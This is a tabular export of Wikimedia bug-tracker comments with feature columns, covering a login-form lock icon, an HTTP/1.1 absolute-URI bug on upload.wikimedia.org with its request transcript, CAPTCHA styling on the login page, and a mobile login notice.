242578,Having a lock icon to go to secure login on login form is confusing,"Should no longer be an issue since they all seem redirect to https anyway, indeed.",,,1380994020,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-4wo2v5t34qradc43fw33,task_subcomment,,True,c2,3,False,,,5,True,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,12.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Should no longer be an issue since they all seem redirect to https anyway, indeed."
242574,Having a lock icon to go to secure login on login form is confusing,Is this still an issue? Current login form as used on Wikimedia sites seems to direct straight over to HTTPS and I don't see a lock icon on any links there.,,,1380125379,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-4wo2v5t34qradc43fw33,task_subcomment,,True,c2,3,True,,,4,True,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,15.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,15.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.9411764705882353,Is this still an issue? Current login form as used on Wikimedia sites seems to direct straight over to HTTPS and I don't see a lock icon on any links there.
242570,Having a lock icon to go to secure login on login form is confusing,"Personally I think an unlocked icon would make more sense, since when the icon is so close to the input box, I assume its modifying the input box (saying this box is secure), and not a link to the secure version. Unlocked icon would say to me ""This box is unsecure, go to secure site to fix it"".

OTOH, maybe I'm just weird, and most people interpret the icon differently.",,,1371570774,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-4wo2v5t34qradc43fw33,task_subcomment,,True,c2,1,False,,,-11,True,0.0,0.0,0.0,0.0,1.0,11.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,9.0,7.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,4.0,8.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,2.0,0.0,7.0,0.0,1.0,2.0,1.0,1.0,1.0,1.0,0.0,3.5764705882352943,0.6352941176470588,"Personally I think an unlocked icon would make more sense, since when the icon is so close to the input box, I assume its modifying the input box (saying this box is secure), and not a link to the secure version. Unlocked icon would say to me ""This box is unsecure, go to secure site to fix it"".

OTOH, maybe I'm just weird, and most people interpret the icon differently."
242562,Having a lock icon to go to secure login on login form is confusing,"**swalling** wrote:

(In reply to comment #0)
> When I first saw the lock icon next to the input field on the new login
> page, I
> assumed it meant the current page is secure, not that the link is to a secure
> page. (Not really a bug so much as feedback)

What if we did something like make the lock red?",,,1371519064,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4wo2v5t34qradc43fw33,task_subcomment,,True,c2,1,False,,,-11,True,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,11.0,8.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9166666666666665,0.7222222222222222,"**swalling** wrote:

(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

What if we did something like make the lock red?"
51467,Server at http://upload.wikimedia.org isn't HTTP/1.1 compliant: doesn't allow absolute URI in request,"Please see below the transcript of the failed HTTP 1.1 session with upload.wikimedia.org.

The problem appears to be that the server upload.wikimedia.org doesn't properly process absolute URI. Normally clients send it relative URIs. I got this example with misconfigured proxy server. HTTP 1.1 specification demands that clients send absolute URIs to proxies, but my proxy accidentally didn't convert URI absolute->relative. However, HTTP 1.1 specification says that HTTP 1.1 servers ""MUST accept the absoluteURI form in requests, even though HTTP/1.1 clients will only generate them in requests to proxies"", see here http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html

This is a deviation of upload.wikimedia.org from the HTTP 1.1 specification which needs to be fixed.

--- failed HTTP session ---
GET http://upload.wikimedia.org/wikipedia/commons/thumb/e/e5/Pizda.svg/100px-Pizda.svg.png HTTP/1.1^M
Host: upload.wikimedia.org^M
Proxy-Connection: keep-alive^M
Cache-Control: max-age=0^M
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8^M
User-Agent: Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36^M
Accept-Encoding: gzip,deflate,sdch^M
Accept-Language: en-US,en;q=0.8,ru;q=0.6^M
^M
HTTP/1.1 404 Not Found^M
Content-Type: text/html; charset=UTF-8^M
X-Varnish: 791003890, 1369041883^M
Via: 1.1 varnish, 1.1 varnish^M
Content-Length: 279^M
Accept-Ranges: bytes^M
Date: Wed, 12 Jun 2013 03:10:50 GMT^M
Age: 0^M
Connection: keep-alive^M
X-Cache: cp1026 miss (0), dysprosium frontend miss (0)^M
Access-Control-Allow-Origin: *^M
^M
<html>
 <head>
  <title>404 Not Found</title>
 </head>
 <body>
  <h1>404 Not Found</h1>
  The resource could not be found.<br /><br />
Regexp failed to match URI: &quot;http:/upload.wikimedia.org/wikipedia/commons/thumb/e/e5/Pizda.svg/100px-Pizda.svg.png&quot;


 </body>
</html>

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1371009000,1439780243.0,PHID-USER-al2cptgs5ipro254aj4s,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-t7nszklii67ynmoitbh4,task_description,resolved,True,c2,1,False,False,False,-11,True,0.0,0.0,0.0,0.25,1.5,2.75,0.5,0.0,0.25,0.0,0.75,0.5,0.0,0.25,0.0,1.0,0.0,3.25,5.0,0.0,0.75,0.25,0.0,0.0,1.0,0.0,0.0,0.25,0.25,0.25,0.0,1.75,1.75,0.25,0.25,0.0,0.25,0.0,0.25,1.0,0.0,0.25,0.0,3.0,0.0,0.0,0.25,0.0,0.5,12.5,0.25,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,1.0,0.0,0.0,0.0,0.25,0.0,2.0,1.0,19.75,1.0,0.5,2.75,0.0,0.0,0.0,0.0,3.75,0.25,4.25,0.0,1.0,5.0,18.25,0.0,0.5,0.0,1.0,0.0,0.25,0.25,0.25,0.0,0.0,0.0,5.25,4.208719851576994,0.6225778190063904,"Please see below the transcript of the failed HTTP 1.1 session with upload.wikimedia.org.

The problem appears to be that the server upload.wikimedia.org doesn't properly process absolute URI. Normally clients send it relative URIs. I got this example with misconfigured proxy server. HTTP 1.1 specification demands that clients send absolute URIs to proxies, but my proxy accidentally didn't convert URI absolute->relative. However, HTTP 1.1 specification says that HTTP 1.1 servers ""MUST accept the absoluteURI form in requests, even though HTTP/1.1 clients will only generate them in requests to proxies"", see here URL

This is a deviation of upload.wikimedia.org from the HTTP 1.1 specification which needs to be fixed.

--- failed HTTP session ---
GET URL HTTP/1.1^M
Host: upload.wikimedia.org^M
Proxy-Connection: keep-alive^M
Cache-Control: max-age=0^M
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8^M
User-Agent: Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36^M
Accept-Encoding: gzip,deflate,sdch^M
Accept-Language: en-US,en;q=0.8,ru;q=0.6^M
^M
HTTP/1.1 404 Not Found^M
Content-Type: text/html; charset=UTF-8^M
X-Varnish: 791003890, 1369041883^M
Via: 1.1 varnish, 1.1 varnish^M
Content-Length: 279^M
Accept-Ranges: bytes^M
Date: Wed, 12 Jun 2013 03:10:50 GMT^M
Age: 0^M
Connection: keep-alive^M
X-Cache: cp1026 miss (0), dysprosium frontend miss (0)^M
Access-Control-Allow-Origin: *^M
^M
<html>
 <head>
  <title>404 Not Found</title>
 </head>
 <body>
  <h1>404 Not Found</h1>
  The resource could not be found.<br /><br />
Regexp failed to match URI: &quot;http:/upload.wikimedia.org/wikipedia/commons/thumb/e/e5/Pizda.svg/100px-Pizda.svg.png&quot;


 </body>
</html>

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
509230,Server at http://upload.wikimedia.org isn't HTTP/1.1 compliant: doesn't allow absolute URI in request,"This seems to have been fixed now, tested example request via `openssl s_client -connect upload.wikimedia.org:443`.",,,1439780123,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-t7nszklii67ynmoitbh4,task_subcomment,,True,c2,3,True,,,102,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"This seems to have been fixed now, tested example request via CODE."
230658,Server at http://upload.wikimedia.org isn't HTTP/1.1 compliant: doesn't allow absolute URI in request,"**vagababov** wrote:

This is introduced in: bug 32864, where all multiple slashes are collapsed.
With absolute URIs this causes problems, since it collapses http:// into http:/",,,1407790511,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-t7nszklii67ynmoitbh4,task_subcomment,,True,c2,3,False,,,49,True,3.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,11.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.162162162162162,0.8648648648648649,"**vagababov** wrote:

This is introduced in: bug 32864, where all multiple slashes are collapsed.
With absolute URIs this causes problems, since it collapses http:// into http:/"
230652,Server at http://upload.wikimedia.org isn't HTTP/1.1 compliant: doesn't allow absolute URI in request,*** Bug 53455 has been marked as a duplicate of this bug. ***,,,1377673958,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-t7nszklii67ynmoitbh4,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53455 has been marked as a duplicate of this bug. ***
58370,Login captcha shown after too many incorrect attempts to log in looks ugly,"Login captcha (in Polish)

Login captcha shown after too many incorrect attempts to log in looks ugly, compared to the nicely styles create account form captcha.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**Whiteboard**: gci2013
**URL**: https://en.wikipedia.org/wiki/Special:UserLogin

**Attached**: {F12184}",Low,25.0,1383131280,1385991145.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_description,resolved,True,c2,3,True,False,False,9,True,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.493333333333333,0.5466666666666666,"Login captcha (in Polish)

Login captcha shown after too many incorrect attempts to log in looks ugly, compared to the nicely styles create account form captcha.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**Whiteboard**: gci2013
**URL**: URL

**Attached**: {F12184}"
264609,Login captcha shown after too many incorrect attempts to log in looks ugly,"**swalling** wrote:

(In reply to comment #8)
> Fixed :)
> 
> http://www.google-melange.com/gci/task/view/google/gci2013/5893919866880000

This looks great. Nice work everyone.",,,1386021282,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,False,,,13,True,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.7,"**swalling** wrote:

(In reply to comment #8)
QUOTE
QUOTE
QUOTE

This looks great. Nice work everyone."
264605,Login captcha shown after too many incorrect attempts to log in looks ugly,"Change 98357 merged by jenkins-bot:
Additional styling for CAPTCHA on Special:UserLogin

https://gerrit.wikimedia.org/r/98357",,,1385991358,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7368421052631575,0.9473684210526315,"Change 98357 merged by jenkins-bot:
Additional styling for CAPTCHA on Special:UserLogin

GERRIT_URL"
264599,Login captcha shown after too many incorrect attempts to log in looks ugly,"Fixed :)

http://www.google-melange.com/gci/task/view/google/gci2013/5893919866880000",,,1385991145,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,True,,,13,True,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Fixed :)

URL"
264595,Login captcha shown after too many incorrect attempts to log in looks ugly,Ha! Never knew that. Interesting.,,,1385924674,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.875,Ha! Never knew that. Interesting.
264593,Login captcha shown after too many incorrect attempts to log in looks ugly,"Actually the code to format CAPTCHA to look pretty in the new login/signup form is currently in core (which sucks, feel free to fix that).",,,1385900283,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,True,,,13,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,16.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6774193548387095,0.8709677419354839,"Actually the code to format CAPTCHA to look pretty in the new login/signup form is currently in core (which sucks, feel free to fix that)."
264590,Login captcha shown after too many incorrect attempts to log in looks ugly,"I'm assuming this bug is meant for Extension:ConfirmEdit, since that's where CAPTCHA support is.",,,1385877510,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.15,0.95,"I'm assuming this bug is meant for Extension:ConfirmEdit, since that's where CAPTCHA support is."
264585,Login captcha shown after too many incorrect attempts to log in looks ugly,"Change 98357 had a related patch set uploaded by Jcf2000:
Reformat signin captcha in case of incorrect login

https://gerrit.wikimedia.org/r/98357",,,1385860827,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7272727272727275,1.0,"Change 98357 had a related patch set uploaded by Jcf2000:
Reformat signin captcha in case of incorrect login

GERRIT_URL"
264580,Login captcha shown after too many incorrect attempts to log in looks ugly,"The signup captcha is being reformatted by a script in mediawiki.special.createAccount.js; we should probably run it for login too. 
(Also, that's an awful solution. :( )",,,1384557711,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,True,,,11,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.393939393939394,0.9696969696969697,"The signup captcha is being reformatted by a script in mediawiki.special.createAccount.js; we should probably run it for login too. 
(Also, that's an awful solution. :( )"
264575,Login captcha shown after too many incorrect attempts to log in looks ugly,"Created attachment 13770
Signup captcha (in Polish), for comparison

I refer to the stuff above the red box. It's not styled consistenyl wirh the rest of the form. I attached similar captcha on the signup form for comparison.

**Attached**: {F12185}",,,1384266345,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.736842105263158,0.7368421052631579,"Created attachment 13770
Signup captcha (in Polish), for comparison

I refer to the stuff above the red box. It's not styled consistenyl wirh the rest of the form. I attached similar captcha on the signup form for comparison.

**Attached**: {F12185}"
264569,Login captcha shown after too many incorrect attempts to log in looks ugly,Do you refer to the capture itself? Or the red box?,,,1384262361,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,15.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,8.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.8461538461538461,Do you refer to the capture itself? Or the red box?
58359,Special:UserLogin does not inform you you're already logged in on mobile,"**Author:** `swalling`

**Description:**
Desktop screenshot

On the desktop sight, if I visit Special:UserLogin (such as through a link in a help page), but I'm already logged in, I now get a helpful message telling me that I am already authenticated. [See screenshot attached]

On mobile, I am given the normal login form, and no indication that I don't need to log in again. It would be nice if you just displayed the same warning message that gets displayed on desktop.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F12150}",Low,25.0,1383093660,1388431332.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4b2mxuc52ewo5a775yq7,task_description,resolved,True,c2,3,False,False,False,9,True,0.0,0.0,0.0,1.0,0.5,4.0,0.5,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,3.5,7.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,4.0,0.5,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,3.5,0.0,0.5,0.5,0.5,0.0,11.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,3.5,2.0,11.5,2.5,1.0,4.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,5.5,7.5,2.0,0.0,0.0,0.0,5.5,0.0,0.5,1.5,0.5,0.5,0.0,0.0,0.5,3.610294117647059,0.7058823529411764,"**Author:** CODE

**Description:**
Desktop screenshot

On the desktop sight, if I visit Special:UserLogin (such as through a link in a help page), but I'm already logged in, I now get a helpful message telling me that I am already authenticated. [See screenshot attached]

On mobile, I am given the normal login form, and no indication that I don't need to log in again. It would be nice if you just displayed the same warning message that gets displayed on desktop.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F12150}"
